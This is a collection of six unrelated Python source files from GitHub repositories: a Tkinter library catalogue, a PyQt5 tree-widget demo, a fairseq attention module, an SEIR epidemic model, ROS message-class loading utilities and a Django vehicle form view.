+{"seq_id":"13402456940","text":"from __future__ import unicode_literals\r\nfrom turtle import title\r\nfrom peewee import *\r\nfrom validaciones import Validaciones\r\nfrom tkinter import messagebox\r\nfrom datetime import datetime\r\n\r\ndb = SqliteDatabase('library.db')                           \r\n    \r\nclass BaseModel(Model):  \r\n                                        \r\n    class Meta:\t\t\t\t\t       \r\n        database = db\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\r\n    \r\nclass Biblioteca(BaseModel):\r\n    \r\n    title = CharField(unique=True)\r\n    author = CharField()\r\n    publisher = CharField()\r\n    year = CharField()\r\n     \t\r\ndb.connect()\r\ndb.create_tables([Biblioteca])\r\n\r\nconsulta_valida = Validaciones()\r\n\r\n\r\ndef decorador_alta(function):\r\n    \"\"\"\r\n    Decorator for alta function from Crud. Generates a log .txt\r\n    \"\"\"\r\n    def envoltura(*arg, **kargs):\r\n        titulo = arg[1].get()\r\n        autor = arg[2].get()\r\n        editorial = arg[3].get()\r\n        año = arg[4].get()\r\n        now = datetime.now()\r\n        date = now.strftime(\"%d/%m/%Y, %H:%M:%S\")\r\n        valid_1 = consulta_valida.val_alfanum(titulo, autor, editorial)\r\n        valid_2 = consulta_valida.val_num(año)\r\n        if valid_1 and valid_2:\r\n        \r\n            file = open(\"log_entries\", \"a\")\r\n            file.write(date + \"\\n\")\r\n            file.write(\"Title: \" + titulo + \"\\n\")\r\n            file.write(\"Author: \" + autor + \"\\n\")\r\n            file.write(\"Publisher: \" + editorial + \"\\n\")\r\n            file.write(\"Year: \" + año + \"\\n\")\r\n            file.write(\"---\" * 20 + \"\\n\")\r\n            file.close()\r\n\r\n        return function (*arg, **kargs)\r\n        \r\n    return envoltura\r\n\r\ndef decorador_modif(function):\r\n    \"\"\"\r\n    Decorator for modificar function from Crud. Generates a log .txt\r\n    \"\"\"\r\n    def envoltura(*arg, **kargs):\r\n        titulo = arg[1].get()\r\n        autor = arg[2].get()\r\n        editorial = arg[3].get()\r\n        año = arg[4].get()\r\n        now = datetime.now()\r\n        date = now.strftime(\"%d/%m/%Y, %H:%M:%S\")\r\n        valid_1 = consulta_valida.val_alfanum(titulo, autor, editorial)\r\n        valid_2 = consulta_valida.val_num(año)\r\n\r\n        if valid_1 and valid_2:\r\n            file = open(\"log_updates\", \"a\")\r\n            file.write(date + \"\\n\")\r\n            file.write(\"Title: \" + titulo + \"\\n\")\r\n            file.write(\"Author: \" + autor + \"\\n\")\r\n            file.write(\"Publisher: \" + editorial + \"\\n\")\r\n            file.write(\"Year: \" + año + \"\\n\")\r\n            file.write(\"---\" * 20 + \"\\n\")\r\n            file.close()\r\n\r\n        return function (*arg, **kargs)\r\n\r\n    return envoltura\r\n\r\ndef decorador_baja(function):\r\n    \"\"\"\r\n    Decorator for borrar function from Crud. Generates a log .txt\r\n    \"\"\"\r\n    def envoltura(*arg, **kargs):\r\n        titulo = arg[1].get()\r\n        autor = arg[2].get()\r\n        editorial = arg[3].get()\r\n        año = arg[4].get()\r\n        now = datetime.now()\r\n        date = now.strftime(\"%d/%m/%Y, %H:%M:%S\")\r\n        valid_1 = consulta_valida.val_alfanum(titulo, autor, editorial)\r\n        valid_2 = consulta_valida.val_num(año)\r\n\r\n        if valid_1 and valid_2:\r\n            file = open(\"log_deletes\", \"a\")\r\n            file.write(date + \"\\n\")\r\n            file.write(\"Title: \" + titulo + \"\\n\")\r\n            file.write(\"Author: \" + autor + \"\\n\")\r\n            file.write(\"Publisher: \" + editorial + \"\\n\")\r\n            file.write(\"Year: \" + año + \"\\n\")\r\n            file.write(\"---\" * 20 + \"\\n\")\r\n            file.close()\r\n\r\n        return function (*arg, **kargs)\r\n\r\n    return envoltura\r\n\r\nclass Crud:\r\n    \"\"\"\r\n    This class has all the code related with the database\r\n    \"\"\"\r\n    \r\n    def __init__(self) -> None:\r\n        \r\n        self.consulta_valida = Validaciones()\r\n\r\n         \r\n\r\n    def mostrar(self, tree):\r\n        \"\"\"\r\n        Shows the data from the database on the treeview\r\n        \"\"\"\r\n        registros = tree.get_children()\r\n        for elemento in registros:\r\n            tree.delete(elemento)\r\n\r\n        for fila in Biblioteca.select():\r\n            tree.insert('', 0, text=fila.id, values=(fila.title, fila.author, fila.publisher, fila.year))\r\n\r\n    @decorador_alta\r\n    def agregar(self, titulo, autor, editorial, año, tree):\r\n        \"\"\"\r\n        Adds new entries to the database, following validation rules from validaciones.py\r\n        \"\"\"\r\n        valid_1 = self.consulta_valida.val_alfanum(titulo.get(), autor.get(), editorial.get())\r\n        valid_2 = self.consulta_valida.val_num(año.get())\r\n        try:\r\n            if valid_1 and valid_2:\r\n                biblioteca = Biblioteca()\r\n                biblioteca.title = titulo.get()\r\n                biblioteca.author = autor.get()\r\n                biblioteca.publisher = editorial.get()\r\n                biblioteca.year = año.get()\r\n                biblioteca.save()\r\n            \r\n                self.mostrar(tree)\r\n                messagebox.showinfo(message=\"The new entry has been successfully added\"\r\n                                     , title=\"New Entry\")\r\n                \r\n                \r\n                \r\n            else:\r\n                if not self.consulta_valida.val_alfanum(titulo.get(), autor.get(), editorial.get()):\r\n                    messagebox.showerror(message=\"Wrong characters. Only use alphanumeric characters for the Title, Author and Publisher fields\"\r\n                                     , title=\"Validation Error\")\r\n                else:\r\n                    messagebox.showerror(message=\"Wrong characters. Enter 4 numbers for the Year field\"\r\n                                     , title=\"Validation Error\")\r\n        \r\n        except IntegrityError:\r\n            #print(\"Probando\")\r\n            messagebox.showerror(message=\"This book has already been entered in the database\"\r\n                                     , title=\"Duplicate Error\")\r\n        \r\n       \r\n        \r\n                  \r\n    @decorador_baja    \r\n    def borrar(self, titulo, autor, editorial, año, tree):\r\n        \"\"\"\r\n        Deletes entries from the database\r\n        \"\"\"\r\n        item_seleccionado = tree.focus()\r\n        valor_id = tree.item(item_seleccionado)\r\n\r\n        respuesta = messagebox.askokcancel(message=\"¿Are you sure you want to delete the selected entry?\", title=\"Delete Entry\")\r\n        if respuesta == True:\r\n            borrar = Biblioteca.get(Biblioteca.id == valor_id[\"text\"])\r\n            borrar.delete_instance()\r\n            messagebox.showinfo(message=\"The entry has been deleted\"\r\n                                     , title=\"Entry Deleted\")\r\n            self.mostrar(tree)\r\n       \r\n    @decorador_modif\r\n    def modificar(self, titulo, autor, editorial, ano, tree):\r\n        \"\"\"\r\n        Updates entries\r\n        \"\"\"\r\n        \r\n        item_seleccionado = tree.focus()\r\n        valor_id = tree.item(item_seleccionado)\r\n       \r\n        if self.consulta_valida.val_alfanum(titulo.get(), autor.get(), editorial.get()) and self.consulta_valida.val_num(ano.get()):\r\n            actualizar = Biblioteca.update(title=titulo.get(), author=autor.get(), publisher=editorial.get(), year=ano.get()).where(Biblioteca.id == valor_id[\"text\"])\r\n            actualizar.execute()\r\n            self.mostrar(tree)\r\n            messagebox.showinfo(message=\"Entry succesfully updated\"\r\n                                     , title=\"Entry Updated\")\r\n        else:\r\n            \r\n            if not self.consulta_valida.val_alfanum(titulo.get(), autor.get(), editorial.get()):\r\n                    messagebox.showerror(message=\"Wrong characters. Only use alphanumeric characters for the Title, Author and Publisher fields\"\r\n                                     , title=\"Validation Error\")\r\n            else:\r\n                messagebox.showerror(message=\"Wrong characters. Enter 4 numbers for the Year field\"\r\n                                     , title=\"Validation Error\")","repo_name":"polaico/Library-Project","sub_path":"modelo.py","file_name":"modelo.py","file_ext":"py","file_size_in_byte":7789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21843733431","text":"#!/usr/bin/env python3\n\n'''\n    【简介】\n\tPyQT5中 QTreeWidget 例子\n   \n  \n'''\n\nimport sys\nfrom PyQt5.QtWidgets import *\n#from PyQt5.QtGui import QIcon ,  QBrush , QColor\n#from PyQt5.QtCore import Qt \n\nclass TreeWidgetDemo(QWidget):   \n\tdef __init__(self,parent=None):\n\t\tsuper(TreeWidgetDemo,self).__init__(parent)\n\t\tself.setWindowTitle('TreeWidget 例子')\n        \n\t\toperatorLayout = QHBoxLayout()\n\t\taddBtn = QPushButton(\"添加节点\")\n\t\tupdateBtn =  QPushButton(\"修改节点\")\n\t\tdelBtn = QPushButton(\"删除节点\")\t\t\n\t\toperatorLayout.addWidget(addBtn)\n\t\toperatorLayout.addWidget(updateBtn)\n\t\toperatorLayout.addWidget(delBtn)\n\t\t# 按钮的信号槽连接\n\t\taddBtn.clicked.connect(self.addTreeNodeBtn )\n\t\tupdateBtn.clicked.connect(self.updateTreeNodeBtn )\n\t\tdelBtn.clicked.connect(self.delTreeNodeBtn )\t\t\n\t\t\n\t\tself.tree = QTreeWidget(self)\n        # 设置列数\n\t\tself.tree.setColumnCount(2)\n        # 设置头的标题\n\t\tself.tree.setHeaderLabels(['Key','Value'])\n\t\troot= QTreeWidgetItem(self.tree)\n\t\troot.setText(0,'root')\n\t\troot.setText(1,'0')\n\t\t\n\t\tchild1 = QTreeWidgetItem(root)\n\t\tchild1.setText(0,'child1')\n\t\tchild1.setText(1,'1')\n\t\t\n\t\tchild2 = QTreeWidgetItem(root)\n\t\tchild2.setText(0,'child2')\n\t\tchild2.setText(1,'2')\n\t\t\n\t\tchild3 = QTreeWidgetItem(root)\n\t\tchild3.setText(0,'child3')\n\t\tchild3.setText(1,'3')\t\t\n\t\t\n\t\tchild4 = QTreeWidgetItem(child3)\n\t\tchild4.setText(0,'child4')\n\t\tchild4.setText(1,'4')\n\n\t\tchild5 = QTreeWidgetItem(child3)\n\t\tchild5.setText(0,'child5')\n\t\tchild5.setText(1,'5')\n        \n\t\tself.tree.addTopLevelItem(root)\n\t\tself.tree.clicked.connect( self.onTreeClicked )\n        \t\t\n\t\tmainLayout = QVBoxLayout(self);\n\t\tmainLayout.addLayout(operatorLayout);\n\t\tmainLayout.addWidget(self.tree);\t\t\n\t\tself.setLayout(mainLayout)\t\t\n\n\tdef onTreeClicked(self, qmodelindex):\n\t\titem = self.tree.currentItem()\n\t\tprint(\"key=%s ,value=%s\" % (item.text(0), item.text(1)))\n\t\t\n\tdef addTreeNodeBtn(self):\n\t\tprint('--- addTreeNodeBtn ---')\n\t\titem = self.tree.currentItem()\n\t\tnode = QTreeWidgetItem(item)\n\t\tnode.setText(0,'newNode')\n\t\tnode.setText(1,'10')\t\n\n\n\tdef updateTreeNodeBtn(self):\n\t\tprint('--- updateTreeNodeBtn ---')\n\t\titem = self.tree.currentItem()\n\t\titem.setText(0,'updateNode')\n\t\titem.setText(1,'20')\t\t\n\n\n\tdef delTreeNodeBtn(self):\n\t\tprint('--- delTreeNodeBtn ---')\n\t\titem = self.tree.currentItem()\n\t\troot = self.tree.invisibleRootItem()\n\t\tfor item in self.tree.selectedItems():\n\t\t\t(item.parent() or root).removeChild(item)\n        \t\t\nif __name__ == '__main__':\n\tapp = QApplication(sys.argv)\n\ttree = TreeWidgetDemo()\n\ttree.show()\n\tsys.exit(app.exec_())\n","repo_name":"cxinping/PyQt5","sub_path":"Chapter05/qt05_treewidget03.py","file_name":"qt05_treewidget03.py","file_ext":"py","file_size_in_byte":2574,"program_lang":"python","lang":"en","doc_type":"code","stars":2140,"dataset":"github-code","pt":"16"}
+{"seq_id":"7253219164","text":"import math\nfrom typing import Dict, List, Optional, Tuple\n\nimport torch\nimport torch.nn.functional as F\nfrom torch import Tensor, nn\nfrom torch.nn import Parameter\n\nfrom fairseq import utils\nfrom fairseq.modules.fairseq_dropout import FairseqDropout\nfrom fairseq.modules.quant_noise import quant_noise\nfrom fairseq.incremental_decoding_utils import with_incremental_state\n\n@with_incremental_state\nclass PrimalMultiheadAttention(nn.Module):\n    \"\"\"Multi-headed Primal-attention.\n    \"\"\"\n    def __init__(\n        self,\n        embed_dim,\n        num_heads,\n        seq_len=512, \n        low_rank=30, \n        rank_multi=10,\n        kdim=None,\n        dropout=0.0,\n        bias=True,\n        add_bias_kv=False,\n        add_zero_attn=False,\n        self_attention=False,\n        encoder_decoder_attention=False,\n        dictionary=None,\n        q_noise=0.0,\n        qn_block_size=8,\n    ):\n        super().__init__()\n\n        self.embed_dim = embed_dim\n        self.kdim = kdim if kdim is not None else embed_dim\n        self.qk_same_dim = self.kdim == embed_dim \n\n        self.num_heads = num_heads\n        self.dropout_module = FairseqDropout(\n            dropout, module_name=self.__class__.__name__\n        )\n\n        self.head_dim = embed_dim // num_heads\n        assert (\n            self.head_dim * num_heads == self.embed_dim\n        ), \"embed_dim must be divisible by num_heads\"\n\n        self.self_attention = self_attention\n        self.encoder_decoder_attention = encoder_decoder_attention\n\n        assert not self.self_attention or self.qk_same_dim, (\n            \"Self-attention requires query, key to be of the same size\"\n        )\n\n        self.k_proj = quant_noise(\n            nn.Linear(self.kdim, embed_dim, bias=bias), q_noise, qn_block_size\n        )\n        self.q_proj = quant_noise(\n            nn.Linear(embed_dim, embed_dim, bias=bias), q_noise, qn_block_size\n        )\n\n        self.out_proj = quant_noise(\n            nn.Linear(embed_dim, embed_dim, bias=bias), q_noise, qn_block_size\n        )\n\n        if add_bias_kv:\n            self.bias_k = Parameter(torch.Tensor(1, 1, embed_dim))\n        else:\n            self.bias_k = None\n\n        self.add_zero_attn = add_zero_attn\n\n        self.reset_parameters()\n        self.onnx_trace = False\n\n        # primal parameters\n        self.len = min(seq_len, low_rank * rank_multi)\n        self.We = nn.Parameter(nn.init.orthogonal_(torch.Tensor(self.num_heads, self.head_dim, low_rank)))\n        self.Wr = nn.Parameter(nn.init.orthogonal_(torch.Tensor(self.num_heads, self.head_dim, low_rank)))\n        self.Lambda = nn.Parameter(nn.init.uniform_(torch.Tensor(self.num_heads, low_rank)))\n        self.concate_weight = nn.Linear(2*low_rank, self.head_dim)\n\n    def prepare_for_onnx_export_(self):\n        self.onnx_trace = True\n\n    def reset_parameters(self):\n        if self.qk_same_dim:\n            # Empirically observed the convergence to be much better with\n            # the scaled initialization\n            nn.init.xavier_uniform_(self.k_proj.weight, gain=1 / math.sqrt(2))\n            nn.init.xavier_uniform_(self.q_proj.weight, gain=1 / math.sqrt(2))\n        else:\n            nn.init.xavier_uniform_(self.k_proj.weight)\n            nn.init.xavier_uniform_(self.q_proj.weight)\n\n        nn.init.xavier_uniform_(self.out_proj.weight)\n        if self.out_proj.bias is not None:\n            nn.init.constant_(self.out_proj.bias, 0.0)\n        if self.bias_k is not None:\n            nn.init.xavier_normal_(self.bias_k)\n\n    def feature_map(self, x):\n        return F.normalize(x, p=2, dim=-1)\n\n    def forward(\n        self,\n        query: Tensor,\n        key: Optional[Tensor],\n        value: Optional[Tensor],\n        key_padding_mask: Optional[Tensor] = None,\n        incremental_state: Optional[Dict[str, Dict[str, Optional[Tensor]]]] = None,\n        need_weights: bool = True,\n        static_kv: bool = False,\n        attn_mask: Optional[Tensor] = None,\n        before_softmax: bool = False,\n        need_head_weights: bool = False,\n    ) -> Tuple[Tensor, Optional[Tensor]]:\n        \"\"\"Input shape: Time x Batch x Channel\n\n        Args:\n            key_padding_mask (ByteTensor, optional): mask to exclude\n                keys that are pads, of shape `(batch, src_len)`, where\n                padding elements are indicated by 1s.\n            need_weights (bool, optional): return the attention weights,\n                averaged over heads (default: False).\n            attn_mask (ByteTensor, optional): typically used to\n                implement causal attention, where the mask prevents the\n                attention from looking forward in time (default: None).\n            before_softmax (bool, optional): return the raw attention\n                weights and values before the attention softmax.\n            need_head_weights (bool, optional): return the attention\n                weights for each head. Implies *need_weights*. Default:\n                return the average attention weights over all heads.\n        \"\"\"\n        if need_head_weights:\n            need_weights = True\n\n        tgt_len, bsz, embed_dim = query.size()\n        src_len = tgt_len\n\n        assert embed_dim == self.embed_dim, f\"query dim {embed_dim} != {self.embed_dim}\"\n        assert list(query.size()) == [tgt_len, bsz, embed_dim]\n        if key is not None:\n            src_len, key_bsz, _ = key.size()\n            if not torch.jit.is_scripting():\n                assert src_len, key_bsz == value.shape[:2]\n\n        if incremental_state is not None:\n            saved_state = self._get_input_buffer(incremental_state)\n            if saved_state is not None and \"prev_key\" in saved_state:\n                # previous time steps are cached - no need to recompute\n                # key and value if they are static\n                if static_kv:\n                    assert self.encoder_decoder_attention and not self.self_attention\n                    key = None\n        else:\n            saved_state = None\n\n        if self.self_attention:\n            q = self.q_proj(query)\n            k = self.k_proj(query)\n        elif self.encoder_decoder_attention:\n            # encoder-decoder attention\n            q = self.q_proj(query)\n            if key is None:\n                k = None\n            else:\n                k = self.k_proj(key)\n        else:\n            assert key is not None \n            q = self.q_proj(query)\n            k = self.k_proj(key)\n\n        if self.bias_k is not None:\n            assert self.bias_v is not None\n            k = torch.cat([k, self.bias_k.repeat(1, bsz, 1)])\n            if attn_mask is not None:\n                attn_mask = torch.cat(\n                    [attn_mask, attn_mask.new_zeros(attn_mask.size(0), 1)], dim=1\n                )\n            if key_padding_mask is not None:\n                key_padding_mask = torch.cat(\n                    [\n                        key_padding_mask,\n                        key_padding_mask.new_zeros(key_padding_mask.size(0), 1),\n                    ],\n                    dim=1,\n                )\n\n        q = (\n            q.contiguous()\n            .view(tgt_len, bsz, self.num_heads, self.head_dim)\n            .transpose(0, 1)\n        )\n        if k is not None:\n            k = (\n                k.contiguous()\n                .view(-1, bsz, self.num_heads, self.head_dim)\n                .transpose(0, 1)\n            )\n\n        assert k is not None\n        assert k.size(1) == src_len\n\n        # This is part of a workaround to get around fork/join parallelism\n        # not supporting Optional types.\n        if key_padding_mask is not None and key_padding_mask.dim() == 0:\n            key_padding_mask = None\n\n        if key_padding_mask is not None:\n            assert key_padding_mask.size(0) == bsz\n            assert key_padding_mask.size(1) == src_len\n\n        if self.add_zero_attn:\n            src_len += 1\n            k = torch.cat([k, k.new_zeros((k.size(0), 1) + k.size()[2:])], dim=1)\n            if attn_mask is not None:\n                attn_mask = torch.cat(\n                    [attn_mask, attn_mask.new_zeros(attn_mask.size(0), 1)], dim=1\n                )\n            if key_padding_mask is not None:\n                key_padding_mask = torch.cat(\n                    [\n                        key_padding_mask,\n                        torch.zeros(key_padding_mask.size(0), 1).type_as(\n                            key_padding_mask\n                        ),\n                    ],\n                    dim=1,\n                )\n\n        # generate weights for Primal attention\n        normal = (((torch.arange(src_len)).float() + 1.0)).to(q.device)\n\n        # transpose the queries and keys\n        q = q.transpose(1, 2)\n        k = k.transpose(1, 2)\n\n        # we conduct cumsum before the non-linear map (Causal map)\n        q = q.cumsum(dim=2) / normal[None, None, :, None]\n        k = k.cumsum(dim=2) / normal[None, None, :, None]\n        # feature_map\n        q = self.feature_map(q)\n        k = self.feature_map(k)\n        # compute e-score and r-score\n        escore = torch.einsum('...nd,...de->...ne', q, self.We.unsqueeze(0).repeat(q.size(0),1,1,1))\n        rscore = torch.einsum('...nd,...de->...ne', k, self.Wr.unsqueeze(0).repeat(k.size(0),1,1,1))\n        score = torch.cat((escore, rscore), dim=-1)\n        attn = self.concate_weight(score).contiguous().reshape(bsz * self.num_heads, src_len, self.head_dim)\n\n        assert list(attn.size()) == [bsz * self.num_heads, tgt_len, self.head_dim]\n        if self.onnx_trace and attn.size(1) == 1:\n            # when ONNX tracing a single decoder step (sequence length == 1)\n            # the transpose is a no-op copy before view, thus unnecessary\n            attn = attn.contiguous().view(tgt_len, bsz, self.embed_dim)\n        else:\n            attn = attn.transpose(0, 1).contiguous().view(tgt_len, bsz, self.embed_dim)\n        attn = self.out_proj(attn)\n\n        return attn, [escore, rscore, self.We, self.Wr, self.Lambda]\n\n    @staticmethod\n    def _append_prev_key_padding_mask(\n        key_padding_mask: Optional[Tensor],\n        prev_key_padding_mask: Optional[Tensor],\n        batch_size: int,\n        src_len: int,\n        static_kv: bool,\n    ) -> Optional[Tensor]:\n        # saved key padding masks have shape (bsz, seq_len)\n        if prev_key_padding_mask is not None and static_kv:\n            new_key_padding_mask = prev_key_padding_mask\n        elif prev_key_padding_mask is not None and key_padding_mask is not None:\n            new_key_padding_mask = torch.cat(\n                [prev_key_padding_mask.float(), key_padding_mask.float()], dim=1\n            )\n        # During incremental decoding, as the padding token enters and\n        # leaves the frame, there will be a time when prev or current\n        # is None\n        elif prev_key_padding_mask is not None:\n            if src_len > prev_key_padding_mask.size(1):\n                filler = torch.zeros(\n                    (batch_size, src_len - prev_key_padding_mask.size(1)),\n                    device=prev_key_padding_mask.device,\n                )\n                new_key_padding_mask = torch.cat(\n                    [prev_key_padding_mask.float(), filler.float()], dim=1\n                )\n            else:\n                new_key_padding_mask = prev_key_padding_mask.float()\n        elif key_padding_mask is not None:\n            if src_len > key_padding_mask.size(1):\n                filler = torch.zeros(\n                    (batch_size, src_len - key_padding_mask.size(1)),\n                    device=key_padding_mask.device,\n                )\n                new_key_padding_mask = torch.cat(\n                    [filler.float(), key_padding_mask.float()], dim=1\n                )\n            else:\n                new_key_padding_mask = key_padding_mask.float()\n        else:\n            new_key_padding_mask = prev_key_padding_mask\n        return new_key_padding_mask\n\n    @torch.jit.export\n    def reorder_incremental_state(\n        self,\n        incremental_state: Optional[Dict[str, Dict[str, Optional[Tensor]]]],\n        new_order: Tensor,\n    ):\n        \"\"\"Reorder buffered internal state (for incremental generation).\"\"\"\n        input_buffer = self._get_input_buffer(incremental_state)\n        if input_buffer is not None:\n            for k in input_buffer.keys():\n                input_buffer_k = input_buffer[k]\n                if input_buffer_k is not None:\n                    if self.encoder_decoder_attention:\n                        if input_buffer_k.size(0) * self.beam_size == new_order.size(0):\n                            return incremental_state\n                        elif self.beam_size > 1:\n                            input_buffer[k] = input_buffer_k.index_select(\n                                0,\n                                new_order.reshape(-1, self.beam_size)[:, 0]\n                                // self.beam_size,\n                            )\n                        else:\n                            input_buffer[k] = input_buffer_k.index_select(0, new_order)\n                    else:\n                        input_buffer[k] = input_buffer_k.index_select(0, new_order)\n            incremental_state = self._set_input_buffer(incremental_state, input_buffer)\n        return incremental_state\n\n    def set_beam_size(self, beam_size):\n        \"\"\"Used for effiecient beamable enc-dec attention\"\"\"\n        self.beam_size = beam_size\n\n    def _get_input_buffer(\n        self, incremental_state: Optional[Dict[str, Dict[str, Optional[Tensor]]]]\n    ) -> Dict[str, Optional[Tensor]]:\n        result = self.get_incremental_state(incremental_state, \"attn_state\")\n        if result is not None:\n            return result\n        else:\n            empty_result: Dict[str, Optional[Tensor]] = {}\n            return empty_result\n\n    def _set_input_buffer(\n        self,\n        incremental_state: Optional[Dict[str, Dict[str, Optional[Tensor]]]],\n        buffer: Dict[str, Optional[Tensor]],\n    ):\n        return self.set_incremental_state(incremental_state, \"attn_state\", buffer)\n\n    def apply_sparse_mask(self, attn_weights, tgt_len: int, src_len: int, bsz: int):\n        return attn_weights\n\n    def upgrade_state_dict_named(self, state_dict, name):\n        prefix = name + \".\" if name != \"\" else \"\"\n        items_to_add = {}\n        keys_to_remove = []\n        for k in state_dict.keys():\n            if k.endswith(prefix + \"in_proj_weight\"):\n                # in_proj_weight used to be q + k + v with same dimensions\n                dim = int(state_dict[k].shape[0] / 3)\n                items_to_add[prefix + \"q_proj.weight\"] = state_dict[k][:dim]\n                items_to_add[prefix + \"k_proj.weight\"] = state_dict[k][dim : 2 * dim]\n                items_to_add[prefix + \"v_proj.weight\"] = state_dict[k][2 * dim :]\n\n                keys_to_remove.append(k)\n\n                k_bias = prefix + \"in_proj_bias\"\n                if k_bias in state_dict.keys():\n                    dim = int(state_dict[k].shape[0] / 3)\n                    items_to_add[prefix + \"q_proj.bias\"] = state_dict[k_bias][:dim]\n                    items_to_add[prefix + \"k_proj.bias\"] = state_dict[k_bias][\n                        dim : 2 * dim\n                    ]\n                    items_to_add[prefix + \"v_proj.bias\"] = state_dict[k_bias][2 * dim :]\n\n                    keys_to_remove.append(prefix + \"in_proj_bias\")\n\n        for k in keys_to_remove:\n            del state_dict[k]\n\n        for key, value in items_to_add.items():\n            state_dict[key] = value\n","repo_name":"yingyichen-cyy/PrimalAttention","sub_path":"PrimalAttention_NLP/fairseq/modules/primal_attention.py","file_name":"primal_attention.py","file_ext":"py","file_size_in_byte":15483,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"16"}
+{"seq_id":"75032760328","text":"import matplotlib.pyplot as plt\n\nclass SEIR:\n    \n    def __init__(self, T, N, E, I, R, r1, r2, b1, b2, a, g):\n        \n        self.N = N\n        self.E = [E]\n        self.I = [I]\n        self.R = [R]\n        self.S = [N - I]\n        self.r1 = r1\n        self.r2 = r2\n        self.b1 = b1\n        self.b2 = b2\n        self.a = a\n        self.g = g\n        self.T = T\n    \n    def calculate(self):\n        \n        if len(self.T) == len(self.S):\n            return\n        for i in range(0, len(self.T) - 1):\n            self.S.append(self.S[i] - self.r1 * self.b1 * self.S[i] * self.I[i] / self.N - self.r2 * self.b2 * self.S[i] * self.E[i] / self.N)\n            self.E.append(self.E[i] + self.r1 * self.b1 * self.S[i] * self.I[i] / self.N - self.a * self.E[i] + self.r2 * self.b2 * self.S[i] * self.E[i] / self.N)\n            self.I.append(self.I[i] + self.a * self.E[i] - self.g * self.I[i])\n            self.R.append(self.R[i] + self.g * self.I[i])\n    \n    def plot(self):\n        \n        if len(self.S) == 1:\n            self.calculate()\n        plt.figure()\n        plt.title(\"SEIR Spread Plot\")\n        plt.plot(self.T, self.S, color = 'b', label = 'Susceptible')\n        plt.plot(self.T, self.E, color = 'y', label = 'Exposed')\n        plt.plot(self.T, self.I, color = 'r', label = 'Infectious')\n        plt.plot(self.T, self.R, color = 'g', label = 'Recovered')\n        plt.grid(False)\n        plt.legend()\n        plt.xlabel(\"Time\")\n        plt.ylabel(\"Population\")\n        plt.show()\n\nif __name__ == \"__main__\":\n    \n    T = [i for i in range(160)]\n    s = SEIR(T, 1e5, 0, 17, 0, 21, 21, 0.048, 0.048, 0.13, 0.066)\n    s.plot()\n","repo_name":"Lemutisme/ICM2020-F-review","sub_path":"sair.py","file_name":"sair.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"41174880438","text":"import genmsg\n\nimport genpy.message  # for wrapping get_message_class, get_service_class\n# forward a bunch of old symbols from genpy for backwards compat\nfrom genpy import DeserializationError  # noqa: F401\nfrom genpy import Duration  # noqa: F401\nfrom genpy import Message  # noqa: F401\nfrom genpy import SerializationError  # noqa: F401\nfrom genpy import TVal  # noqa: F401\nfrom genpy import Time  # noqa: F401\nfrom genpy.message import check_type  # noqa: F401\nfrom genpy.message import fill_message_args  # noqa: F401\nfrom genpy.message import get_printable_message_args  # noqa: F401\nfrom genpy.message import strify_message  # noqa: F401\n\nimport roslib\n\nimport rospkg\n\n\ndef _get_message_or_service_class(type_str, message_type, reload_on_error=False):\n    # parse package and local type name for import\n    package, base_type = genmsg.package_resource_name(message_type)\n    if not package:\n        if base_type == 'Header':\n            package = 'std_msgs'\n        else:\n            raise ValueError('message type is missing package name: %s' % str(message_type))\n    pypkg = val = None\n    try:\n        # bootstrap our sys.path\n        roslib.launcher.load_manifest(package)\n        # import the package and return the class\n        pypkg = __import__('%s.%s' % (package, type_str))\n        val = getattr(getattr(pypkg, type_str), base_type)\n    except rospkg.ResourceNotFound:\n        val = None\n    except ImportError:\n        val = None\n    except AttributeError:\n        val = None\n\n    # this logic is mainly to support rosh, so that a user doesn't\n    # have to exit a shell just because a message wasn't built yet\n    if val is None and reload_on_error:\n        try:\n            reload  # Python 2\n        except NameError:\n            from importlib import reload  # Python 3\n        try:\n            if pypkg:\n                reload(pypkg)\n            val = getattr(getattr(pypkg, type_str), base_type)\n        except Exception:\n            val = None\n    return val\n\n\n# cache for get_message_class\n_message_class_cache = {}\n\n\n# cache for get_service_class\n_service_class_cache = {}\n\n\ndef get_message_class(message_type, reload_on_error=False):\n    if message_type in _message_class_cache:\n        return _message_class_cache[message_type]\n    # try w/o bootstrapping\n    cls = genpy.message.get_message_class(message_type, reload_on_error=reload_on_error)\n    if cls is None:\n        # try old loader w/ bootstrapping\n        cls = _get_message_or_service_class('msg', message_type, reload_on_error=reload_on_error)\n    if cls:\n        _message_class_cache[message_type] = cls\n    return cls\n\n\ndef get_service_class(service_type, reload_on_error=False):\n    if service_type in _service_class_cache:\n        return _service_class_cache[service_type]\n    cls = genpy.message.get_service_class(service_type, reload_on_error=reload_on_error)\n    # try w/o bootstrapping\n    if cls is None:\n        # try old loader w/ bootstrapping\n        cls = _get_message_or_service_class('srv', service_type, reload_on_error=reload_on_error)\n    if cls:\n        _service_class_cache[service_type] = cls\n    return cls\n","repo_name":"ros/ros","sub_path":"core/roslib/src/roslib/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":3120,"program_lang":"python","lang":"en","doc_type":"code","stars":2491,"dataset":"github-code","pt":"16"}
+{"seq_id":"36230216580","text":"from django.shortcuts import render\nfrom .forms import FormularioVehiculo\nfrom .models import Vehiculo\n# Create your views here.\ndef vehiculos(request):\n    form = FormularioVehiculo()\n    vehi = Vehiculo.objects.all()\n    if request.method == 'POST':\n        form = FormularioVehiculo(request.POST)\n        if form.is_valid():\n            form_data = form.cleaned_data\n            placa = form_data.get('placa')\n            marca = form_data.get('marca')\n            tipo = form_data.get('tipo')\n            conductor = form_data.get('conductor')\n            veh = Vehiculo.objects.create(placa=placa, marca=marca, tipo=tipo, conductor=conductor)\n    return render(request, 'Vehiculos/vehiculos.html', {'form': form, 'vehi': vehi})","repo_name":"Monita1234/Transporte","sub_path":"Vehiculos/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
